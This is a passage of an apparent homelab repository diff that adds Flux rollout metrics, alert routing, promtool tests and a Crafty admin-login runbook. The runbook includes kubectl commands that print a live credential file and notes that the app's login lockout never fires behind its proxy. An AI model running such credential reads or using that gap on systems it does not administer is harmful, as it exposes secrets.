+              # Kustomization (16 possible), and grouping on alertname alone collapses them into a
+              # single mail that lists all of them. The default group_by would have split them by
+              # namespace as well — harmless today (all 16 are in flux-system) and wrong the moment
+              # a Kustomization lives elsewhere.
+              group_by: ["alertname"]
+              group_wait: 30s
+              # 2m, not the 5m default: group_interval also bounds how long a group's RESOLVED
+              # notification waits, and holding "the deploy finished" four minutes behind the
+              # deploy finishing makes the completion half of this feature feel broken.
+              group_interval: 2m
+              # A deploy notice is a statement about one revision, so re-sending it on the 12h
+              # default would just repeat old news. 24h is long enough never to fire twice for one
+              # rollout, while still re-nagging if a rollout is genuinely stuck for a whole day
+              # (FluxRolloutStuck, severity warning, is the real escalation for that case).
+              repeat_interval: 24h
         receivers:
           - name: email-warning
             email_configs:
@@ -144,6 +182,19 @@ spec:
                 send_resolved: true
                 headers:
                   subject: '[CRITICAL] {{ .CommonLabels.alertname }} ({{ .CommonLabels.namespace }})'
+          # Flux deploy notices (the `severity = "info"` route above).
+          - name: email-deploy
+            email_configs:
+              - to: "[email protected]"    # alert inbox (operator: change if a different inbox is wanted)
+                # BOTH transitions are the deliverable here: firing = "Flux started applying a new
+                # revision", resolved = "every Kustomization reached it". Turning this off would
+                # delete the completion notification, not merely reduce noise.
+                send_resolved: true
+                headers:
+                  # `[FLUX] applying` / `[FLUX] applied` — readable in a notification preview
+                  # without opening the mail, and never the word WARNING for a healthy deploy.
+                  # .Status is "firing" or "resolved" in Alertmanager's notification template data.
+                  subject: '[FLUX] {{ if eq .Status "firing" }}applying{{ else }}applied{{ end }} — {{ .CommonLabels.alertname }}'
 
     # --- Grafana: dashboards (R-OBS-03), surfaced in the C2 UI (docs/12) behind Keycloak SSO ---
     grafana:
@@ -272,11 +323,33 @@ spec:
       #     `config` alone does not restart the pod: after editing it, `kubectl -n monitoring rollout
       #     restart deploy/kube-prometheus-stack-kube-state-metrics`. Enabling it the first time
       #     changes the pod spec (new arg + volume), so the initial rollout is automatic.
+      # FORCE A POD ROLL WHEN `customResourceState.config` BELOW CHANGES. The chart renders that
+      # config into a ConfigMap and mounts it, but the KSM Deployment carries NO checksum annotation
+      # over it — documented in the block above, and the reason the Velero metrics needed a manual
+      # `rollout restart` when they were first tuned. So a PR that edits ONLY `config` changes the
+      # ConfigMap, leaves the pod spec byte-identical, and KSM keeps running the OLD collector set:
+      # the new metrics never appear and every alert reading them is inert, while the PR is merged
+      # and green. That is the exact shape of defect this repo keeps getting bitten by, so it is
+      # closed declaratively rather than by remembering an operator step. BUMP THIS VALUE IN THE
+      # SAME COMMIT as any `customResourceState.config` edit and Flux rolls the pod for you.
+      # (Same mechanism as grafana.podAnnotations/oidc-rollout above.)
+      podAnnotations:
+        homelab.keithjackson.dev/crs-config-rollout: "1"
       rbac:
         extraRules:
           - apiGroups: ["velero.io"]
             resources: ["schedules"]
             verbs: ["get", "list", "watch"]
+          # Flux applied-revision metrics (the kube_flux_* block at the end of `config` below).
+          # MANDATORY for the same measured reason as velero.io above: without read access KSM
+          # publishes the custom-resource-state metrics as an EMPTY SET and logs a forbidden
+          # error, which would leave FluxRolloutInProgress/FluxRolloutStuck inert — silently.
+          - apiGroups: ["kustomize.toolkit.fluxcd.io"]
+            resources: ["kustomizations"]
+            verbs: ["get", "list", "watch"]
+          - apiGroups: ["source.toolkit.fluxcd.io"]
+            resources: ["gitrepositories"]
+            verbs: ["get", "list", "watch"]
       customResourceState:
         enabled: true
         config:
@@ -328,6 +401,89 @@ spec:
                         labelsFromPath:
                           cron: [spec, schedule]
                           phase: [status, phase]
+              # --- FLUX APPLIED REVISION AS METRICS (added 2026-09-29) --------------------------
+              # WHY. Nothing in the TSDB could answer "is the cluster running the commit that is on
+              # main?", so "Flux started applying a git change" and "Flux is idle" were
+              # indistinguishable and a deploy could start, stall halfway and never finish with
+              # nothing to say so. Measured on prod 2026-09-29, all three candidate signals fail:
+              #   * gotk_* (scraped by flux-podmonitor.yaml) carries NO revision label anywhere —
+              #     gotk_reconcile_condition 120 series, gotk_suspend_status 40, not one with a
+              #     revision. It can say a Kustomization is unhealthy, never which commit it holds.
+              #   * the EVENT stream cannot be filtered into a deploy signal: a Kustomization emits
+              #     ReconciliationSucceeded on EVERY interval tick — 101 events in one hour across
+              #     16 Kustomizations — with the message "Reconciliation finished in 324ms, next run
+              #     in 10m0s", byte-identical whether the apply changed anything or not.
+              #   * `Progressing` is worse, not better: five Kustomizations re-apply the same object
+              #     on every single tick (2505/2504/2501/2495/2490 on one event object each), so
+              #     anything keyed on it fires five times every ten minutes, forever.
+              # The applied REVISION is the one signal that moves only when git moves, and it lives
+              # in these two objects' status and nowhere else:
+              #   GitRepository/flux-system  .status.artifact.revision   = what main is (poll 1m)
+              #   Kustomization/*            .status.lastAppliedRevision = what is applied
+              # Exporting both makes "applied != desired" a PromQL question, which is what
+              # FluxRolloutInProgress / FluxRolloutStuck ask (platform/monitoring/alerts.yaml).
+              #
+              # NAMING: kube_flux_*, NOT gotk_* — the same rule as kube_velero_schedule_* above.
+              # These are kube-state-metrics series ABOUT Kubernetes objects and must never be
+              # mistaken for the gotk_* family the Flux controllers themselves export.
+              #
+              # VERIFIED ON PROD before writing this (2026-09-29): both CRDs serve `v1` as the
+              # STORAGE version (kustomizations.kustomize.toolkit.fluxcd.io,
+              # gitrepositories.source.toolkit.fluxcd.io) and both status paths below are populated
+              # — artifact.revision=main@sha1:b93594b7…, and all 16 Kustomizations reporting that
+              # same revision as lastAppliedRevision.
+              #
+              # Cost: 2 series per Kustomization (16 today) + 1 for the GitRepository = 33.
+              - groupVersionKind:
+                  group: kustomize.toolkit.fluxcd.io
+                  version: v1
+                  kind: Kustomization
+                metricNamePrefix: kube_flux_kustomization
+                labelsFromPath:
+                  name: [metadata, name]
+                  namespace: [metadata, namespace]
+                metrics:
+                  - name: info
+                    help: "Revision a Flux Kustomization has applied (status.lastAppliedRevision)."
+                    each:
+                      type: Info
+                      info:
+                        # KSM OMITS a label whose path is absent (the same behaviour noted for the
+                        # Velero `phase` label above), so a Kustomization that has never applied
+                        # anything publishes this series with NO `revision` label at all rather than
+                        # an empty one. Every rule that reads it therefore matches revision!="" —
+                        # otherwise those would collapse together under the empty string and a
+                        # never-applied Kustomization would compare equal to a converged one.
+                        labelsFromPath:
+                          revision: [status, lastAppliedRevision]
+                  - name: suspended
+                    help: "1 if the Flux Kustomization is suspended (spec.suspend)."
+                    each:
+                      type: Gauge
+                      gauge:
+                        # nilIsZero is MANDATORY, exactly as for the Velero `paused` gauge above:
+                        # measured 2026-09-29, NONE of the 16 Kustomizations sets spec.suspend at
+                        # all. Without it this metric would not exist, and the `unless` that stops a
+                        # suspended Kustomization holding a rollout notification open forever would
+                        # silently match nothing.
+                        path: [spec, suspend]
+                        nilIsZero: true
+              - groupVersionKind:
+                  group: source.toolkit.fluxcd.io
+                  version: v1
+                  kind: GitRepository
+                metricNamePrefix: kube_flux_gitrepository
+                labelsFromPath:
+                  name: [metadata, name]
+                  namespace: [metadata, namespace]
+                metrics:
+                  - name: info
+                    help: "Revision of the artifact a Flux GitRepository has fetched (what main is)."
+                    each:
+                      type: Info
+                      info:
+                        labelsFromPath:
+                          revision: [status, artifact, revision]
       # MEMORY RAISED 2026-09-13 after 91 OOMKills. Measured, not guessed: working set 111 MiB
       # with a 6h peak of 123.3 MiB against the old 128Mi limit — KSM was dying on every spike,
       # roughly every 11 minutes (exit 137). That matters beyond the restarts: THIRTEEN alert

platform/monitoring/tests/flux-rollout.test.yaml

@@ -0,0 +1,268 @@
+# promtool rule-unit tests for FluxRolloutInProgress / FluxRolloutStuck — the deploy-notification
+# pair in the platform-health.flux group (platform/monitoring/alerts.yaml).
+# Run with: platform/monitoring/tests/run.sh   (the merge gate runs the same harness via
+#           conformance/tests/l0-static/alert-rules-unit-tested)
+#
+# WHY THESE TESTS CARRY MORE WEIGHT THAN USUAL. This pair is a NOTIFICATION, so both failure
+# directions are silent in production and neither is visible on a healthy cluster:
+#   * fire when it should not -> a permanently-firing "deploy in progress" that mails on every
+#     repeat_interval and trains the operator to ignore Flux mail. Shipped once already in this
+#     repo (CNPG, 2026-09-12).
+#   * fail to fire -> no deploy notification at all, which is the exact complaint this pair was
+#     written to answer. Indistinguishable from "no deploys happened".
+# So every clause is pinned in both directions here, and the two GUARDS in the expression (the
+# missing-exporter guard and the suspended-Kustomization exclusion) each get a test whose ONLY
+# job is to fail if that clause is deleted.
+#
+# MODELLING A REVISION CHANGE. `revision` is a LABEL, so a Kustomization moving from revision A to
+# revision B is modelled as series A ending and series B beginning — not as one series changing
+# value. Prometheus' 5m lookback then means series A is still resolvable for 5m after its last
+# sample, so every eval_time below is placed at least 5m clear of a handoff. That is deliberate:
+# it keeps these tests about the RULE and not about staleness semantics.
+#
+# Sample interval 1m; the longest `for` under test is 30m.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # =============================================================================================
+  # 1. CONVERGED — the steady state this cluster is in almost all of the time.
+  #    Both rules MUST be silent. This is the "not permanently firing" half of the proof, and it
+  #    is the test that fails if `unless on (revision)` is mis-spelled: the left-hand side is
+  #    non-empty here, and only the revision match suppresses it.
+  # =============================================================================================
+  - interval: 1m
+    name: converged (every Kustomization on the GitRepository revision) - silent
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      - eval_time: 35m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 35m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 2. A COMMIT LANDS — the notification this whole change exists to produce.
+  #    GitRepository moves to revision bbbbbbb at t=11m. apps-wave-0 catches up at t=14m;
+  #    `platform` never does.
+  #      t=25m -> FluxRolloutInProgress fires for `platform` ONLY (apps-wave-0 has converged),
+  #               and FluxRolloutStuck is still quiet because its 30m has not elapsed.
+  #      t=50m -> both fire. ("started and never finished" is a real, separate condition.)
+  # =============================================================================================
+  - interval: 1m
+    name: new revision on main - InProgress fires for the lagging Kustomization only
+    input_series:
+      # The old artifact revision ends at t=10m, the new one starts at t=11m.
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x10'
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '_x10 1x70'
+      # `platform` stays on the old revision for the whole test.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x80'
+      # apps-wave-0 catches up at t=14m.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x8'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '_x13 1x67'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+    alert_rule_test:
+      # The deploy notification, ~14m after the commit was fetched. Exactly ONE alert: a rule that
+      # ignored the revision match would also list apps-wave-0, which has already converged.
+      - eval_time: 25m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — platform is behind main"
+              description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+      # `for: 30m` on the escalation is real — not yet firing 14m in.
+      - eval_time: 25m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+      # ...and it does fire once the rollout has genuinely hung.
+      - eval_time: 50m
+        alertname: FluxRolloutStuck
+        exp_alerts:
+          - exp_labels:
+              severity: warning
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux rollout has not completed: platform stuck on an old revision"
+              description: "Kustomization flux-system/platform has been behind the flux-system GitRepository revision for 30m (applied main@sha1:aaaaaaa) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+
+  # =============================================================================================
+  # 3. THE ROLLOUT COMPLETES -> the alert clears, which is what sends the "applied" mail.
+  #    Without this test the completion half of the feature is unproven: an expression that fired
+  #    correctly but never emptied itself would pass test 2 and still never deliver a resolved
+  #    notification.
+  # =============================================================================================
+  - interval: 1m
+    name: rollout completes - InProgress clears (this is the resolved/completion notification)
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x10'
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '_x10 1x70'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x20'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '_x23 1x57'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+    alert_rule_test:
+      # Mid-rollout: firing.
+      - eval_time: 20m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — platform is behind main"
+              description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+      # Converged (5m clear of the old series' last sample at t=20m): silent, and it never had
+      # 30m of continuous firing, so the escalation must not have fired either.
+      - eval_time: 32m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 32m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 4. GUARD 1 — kube_flux_gitrepository_info ABSENT (KSM rolled without the ConfigMap, the flux
+  #    RBAC was lost, customResourceState reverted). `unless on (revision) <empty set>` removes
+  #    NOTHING, so without the `and on () (count(...) > 0)` guard EVERY Kustomization alerts
+  #    forever. This test exists to go red the moment that guard is deleted.
+  #    Correct behaviour is SILENCE: a broken exporter is FluxReconciliationFailure's job and the
+  #    platform-health.monitoring-self rules', not a deploy notification's.
+  # =============================================================================================
+  - interval: 1m
+    name: GUARD - GitRepository metric absent - silent, NOT 16 alerts forever
+    input_series:
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x60'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x60'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x60'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x60'
+    promql_expr_test:
+      # Stated explicitly so the reason for the silence is unambiguous in the test output: the
+      # guard's own count is empty, not merely false.
+      - expr: 'count(kube_flux_gitrepository_info{name="flux-system", revision!=""})'
+        eval_time: 45m
+        exp_samples: []
+    alert_rule_test:
+      - eval_time: 45m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 45m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 5. GUARD 2 — a SUSPENDED Kustomization pins an old revision by design. It must not hold the
+  #    rollout notification open (or the "applied" mail never arrives), while a non-suspended
+  #    Kustomization on the same old revision MUST still alert.
+  #    Both halves are asserted in one test on purpose: an `unless` written with the wrong labels
+  #    would suppress EVERYTHING and would pass a suppression-only test.
+  # =============================================================================================
+  - interval: 1m
+    name: GUARD - suspended Kustomization excluded, non-suspended one still alerts
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      # Suspended and behind -> excluded.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      # Not suspended and behind -> must alert.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="conformance",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="conformance",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      - eval_time: 20m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: conformance
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — conformance is behind main"
+              description: "Kustomization flux-system/conformance has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+
+  # =============================================================================================
+  # 6. A Kustomization that has NEVER applied anything publishes no `revision` label at all (KSM
+  #    omits absent paths). `revision!=""` must drop it rather than let it group under the empty
+  #    string and compare equal to the GitRepository revision.
+  # =============================================================================================
+  - interval: 1m
+    name: never-applied Kustomization (no revision label) is not counted as converged or lagging
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      # No `revision` label at all — this is what KSM publishes for status.lastAppliedRevision="".
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      # Silent: FluxReconciliationFailure (Ready=False for 15m) is what covers a Kustomization
+      # that cannot apply at all. This pair only ever speaks about revisions it can compare.
+      - eval_time: 30m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 30m
+        alertname: FluxRolloutStuck
+        exp_alerts: []

runbooks/README.md

@@ -115,6 +115,20 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
   plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
   token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
   Includes why a changed Secret does not restart anything, and why an expired token is harmless.
+- **`oauth2-proxy-session`** — a gated UI loads but its saves quietly do nothing, and you are never
+  re-prompted to log in. Tells the three stacked auth layers apart from the sidecar's own access log
+  (the four lines that matter, including the upstream `-` that means the proxy answered a request the
+  app never saw). Covers the cookie collision between per-app sidecars sharing the default
+  `_oauth2_proxy` name on `.home.keithjackson.dev` — which deletes sessions belonging to apps in
+  *other* namespaces and is only legible with two logs side by side — the 5-minute access-token
+  session with no `--cookie-refresh`, and why an XHR answered with a 302 instead of a 401 loses a
+  POST body silently.
+- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
+  Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
+  factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
+  password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
+  Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
+  sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
 
 ### Virtualisation
 - **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.

runbooks/crafty-admin-credential.md

@@ -0,0 +1,179 @@
+# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
+
+**Not alert-driven.** This is an operator procedure, linked from
+[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
+first time, rotating that credential, and recovering when it is lost.
+
+> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
+> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
+> transcript.)
+
+## What this means here
+
+`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
+Keycloak's:
+
+1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
+2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
+   sidecar's identity headers, so it shows its own login page to an already-authenticated user.
+
+So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
+the real question is only ever *which* of the two rejected you. They fail differently:
+
+| Where you are | What you see | Which layer |
+|---|---|---|
+| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
+| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
+| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
+
+The third row is the one that blocks setup, because **nothing in the UI tells you where that password
+comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
+`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
+It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
+random password, and the old one is gone with the old volume.
+
+Two things that are *not* the problem, both verified live:
+
+- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
+  differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
+  you have — the `platform-admins` gate is what limits who reaches the form at all.)
+- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
+  a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
+
+## First commands
+
+`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
+`dev.sh` picks a current-context **per invocation**, so always name the context.
+
+**1. Is the pod healthy, and is the password still the generated one?**
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
+kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
+    print(\"created    :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
+"'
+```
+
+Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
+`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
+*Reset*.
+
+**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
+```
+
+The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
+
+**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
+supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
+and check `last_update` has moved away from `created`.
+
+## Likely causes, most likely first
+
+1. **You never had the password.** By far the most common, and the reason this runbook exists. The
+   credential was only ever on the PVC. → commands 1–3 above.
+2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
+   value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
+3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
+   servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
+   `default-creds.txt` from the new pod; do not expect the old credential to work.
+4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
+   before touching any password:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c \
+     'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
+   ```
+   `[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
+   its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
+   means the session cookie is not surviving — see *cookie isolation* in
+   `platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
+   proxy's, or the two evict each other.
+5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
+
+## Reset when the password is unknown
+
+Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
+existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
+mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
+history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
+password is generated in-pod rather than passed in.)
+
